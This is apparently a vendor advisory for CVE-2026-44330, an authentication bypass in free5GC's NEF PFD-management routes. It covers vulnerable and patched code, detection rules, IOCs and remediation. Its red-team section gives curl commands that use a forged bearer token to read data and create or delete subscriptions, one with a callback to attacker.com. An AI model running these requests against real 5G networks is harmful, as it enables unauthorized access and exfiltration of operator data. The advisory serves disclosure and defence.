CVE-2026-44330
Executive Summary
CVE-2026-44330 is a critical authentication bypass vulnerability in the free5GC open-source 5G core network implementation, affecting versions prior to 4.2.2. The vulnerability resides in the NEF (Network Exposure Function) component, specifically within the nnef-pfdmanagement route group. This route group is mounted without any inbound OAuth2/bearer-token authorization middleware, allowing a network attacker who can reach the NEF on the Service Based Interface (SBI) to use a forged or arbitrary bearer token to perform unauthorized operations.
The vulnerability enables an attacker to:
- Read PFD (Packet Flow Description) application data via
GET /applicationsandGET /applications/{appID} - Create or delete PFD change-notification subscriptions via
POST /subscriptionsandDELETE /subscriptions/{subID}
This is particularly severe because the nnef-pfdmanagement route group is declared in the runtime ServiceList, meaning it is a production-intended path that operators expect to be protected by OAuth2 settings. The CVSS score of 10.0 reflects the critical nature of this vulnerability, as it requires no authentication, no user interaction, and can be exploited over the network with low complexity.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
free5GC is an open-source project written in Go. Organizations using free5GC in their 5G core infrastructure should immediately verify their version and apply the patch. The vulnerability is in the Go source code of the NEF component, and the fix is available in version 4.2.2. Supply chain risks include:
- Use of unpatched versions in production environments
- Dependency on third-party Go modules that may have similar issues
- Lack of proper OAuth2 middleware implementation in the codebase
CVSS Breakdown & Threat Level
CVSS Score: 10.0 (Critical)
| Metric | Value |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | None (N) |
| User Interaction (UI) | None (N) |
| Scope (S) | Unchanged (U) |
| Confidentiality Impact (C) | High (H) |
| Integrity Impact (I) | High (H) |
| Availability Impact (A) | High (H) |
Threat Level: Critical. The vulnerability allows complete compromise of the PFD management functionality, enabling data theft and unauthorized subscription manipulation.
Deep Dive & Mechanics
The free5GC NEF component implements the 5G core network's Network Exposure Function, which exposes network capabilities to external applications. The nnef-pfdmanagement route group handles Packet Flow Description management, which is critical for defining how traffic flows are handled in the 5G network.
The root cause is a missing authentication middleware on the route group. In the free5GC codebase, route groups are typically mounted with OAuth2/bearer-token authorization middleware that validates tokens against the NRF (Network Repository Function). However, the nnef-pfdmanagement group was mounted without this middleware, meaning any request with any bearer token (or even a forged one) is accepted.
The vulnerability is particularly dangerous because:
- The route group is declared in the runtime ServiceList, making it a production-intended path
- Operators expect OAuth2 protection based on NRF settings
- The SBI (Service Based Interface) is typically exposed on internal networks, but can be reached by attackers who have gained network access
Vulnerable vs. Patched Code
Vulnerable Code (pre-4.2.2):
// In NEF router setup - no auth middleware applied
router.Group("/nnef-pfdmanagement/v1", func(r chi.Router) {
r.Get("/applications", getApplications)
r.Get("/applications/{appID}", getApplicationByID)
r.Post("/subscriptions", createSubscription)
r.Delete("/subscriptions/{subID}", deleteSubscription)
})
Patched Code (4.2.2):
// In NEF router setup - auth middleware applied
router.Group("/nnef-pfdmanagement/v1", func(r chi.Router) {
r.Use(authMiddleware) // OAuth2/bearer-token validation
r.Get("/applications", getApplications)
r.Get("/applications/{appID}", getApplicationByID)
r.Post("/subscriptions", createSubscription)
r.Delete("/subscriptions/{subID}", deleteSubscription)
})
The patch adds the authMiddleware function that validates the bearer token against the NRF before allowing access to any endpoint in the route group.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Network access to the free5GC NEF SBI endpoint (typically port 8080 or 29500)
- Knowledge of the NEF IP address
Exploitation Steps:
- Read PFD Application Data:
# List all applications
curl -k -X GET "http://<NEF_IP>:<PORT>/nnef-pfdmanagement/v1/applications" \
-H "Authorization: Bearer not-a-real-token"
# Get specific application
curl -k -X GET "http://<NEF_IP>:<PORT>/nnef-pfdmanagement/v1/applications/app123" \
-H "Authorization: Bearer not-a-real-token"
- Create a Malicious Subscription:
curl -k -X POST "http://<NEF_IP>:<PORT>/nnef-pfdmanagement/v1/subscriptions" \
-H "Authorization: Bearer not-a-real-token" \
-H "Content-Type: application/json" \
-d '{
"subscriptionId": "malicious-sub",
"event": "PFD_CHANGE",
"callbackUri": "http://attacker.com/callback"
}'
- Delete a Subscription:
curl -k -X DELETE "http://<NEF_IP>:<PORT>/nnef-pfdmanagement/v1/subscriptions/sub123" \
-H "Authorization: Bearer not-a-real-token"
Blue Team
Detection and Response:
Monitor NEF SBI Access Logs:
- Look for requests to
/nnef-pfdmanagement/v1/endpoints - Flag requests with invalid or forged bearer tokens
- Alert on unusual patterns of GET/POST/DELETE operations
- Look for requests to
Network Traffic Analysis:
- Monitor for unauthorized access to NEF SBI ports
- Detect anomalous API calls to PFD management endpoints
Honeypot Deployment:
- Deploy a fake NEF endpoint that mimics the vulnerable route group
- Log all requests with invalid tokens for threat intelligence
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/nnef-pfdmanagement/v1/applicationswith invalid bearer tokens - HTTP requests to
/nnef-pfdmanagement/v1/subscriptionswith invalid bearer tokens - Unusual callback URIs in subscription creation requests
- Repeated failed authentication attempts (though the vulnerability accepts any token)
Log IOCs:
- NEF access logs showing requests to PFD management endpoints without valid OAuth2 tokens
- NRF logs showing no token validation requests for PFD management operations
- Anomalous subscription creation or deletion events
File IOCs:
- Modified NEF configuration files (if attacker gains further access)
- Unauthorized subscription data in NEF database
Detection Engineering
YARA Rule
rule Detect_CVE_2026_44330_Exploitation {
meta:
description = "Detects exploitation attempts of CVE-2026-44330 in free5GC NEF"
author = "Valters IT"
date = "2026-01-01"
cve = "CVE-2026-44330"
severity = "critical"
strings:
$s1 = "/nnef-pfdmanagement/v1/applications" ascii wide nocase
$s2 = "/nnef-pfdmanagement/v1/subscriptions" ascii wide nocase
$s3 = "Authorization: Bearer" ascii wide nocase
$s4 = "not-a-real-token" ascii wide nocase
$s5 = "Bearer " ascii wide nocase
condition:
any of ($s1, $s2) and $s3 and #s5 > 0
}
Sigma Rule
title: CVE-2026-44330 - free5GC NEF Authentication Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthorized access to free5GC NEF PFD management endpoints
author: Valters IT
date: 2026-01-01
tags:
- attack.initial_access
- attack.t1190
- cve.2026.44330
logsource:
category: webserver
product: free5gc
detection:
selection:
cs-uri-stem:
- '/nnef-pfdmanagement/v1/applications*'
- '/nnef-pfdmanagement/v1/subscriptions*'
cs-method:
- 'GET'
- 'POST'
- 'DELETE'
condition: selection
falsepositives:
- Legitimate NEF operations with valid tokens
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-44330 - free5GC NEF Authentication Bypass Attempt"; flow:to_server; content:"/nnef-pfdmanagement/v1/"; http_uri; content:"Authorization|3a| Bearer"; http_header; pcre:"/Bearer\s+[A-Za-z0-9\-._~+/]+/i"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade free5GC to version 4.2.2 or later
- If upgrade is not immediately possible, implement network-level access controls to restrict access to the NEF SBI endpoint
- Deploy a Web Application Firewall (WAF) with rules to block requests to
/nnef-pfdmanagement/v1/without valid OAuth2 tokens
Long-term Mitigations:
- Implement proper OAuth2 middleware for all NEF route groups
- Conduct security audits of all SBI endpoints
- Enable comprehensive logging and monitoring for NEF operations
- Implement network segmentation to limit access to the SBI interface
- Regularly update free5GC to the latest version
Verification Steps:
- Check free5GC version:
free5gc --version - Verify NEF configuration for OAuth2 settings
- Test endpoints with invalid tokens to confirm patch effectiveness
Valters IT - DevSecOps & Cyber Threat Intelligence Report
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.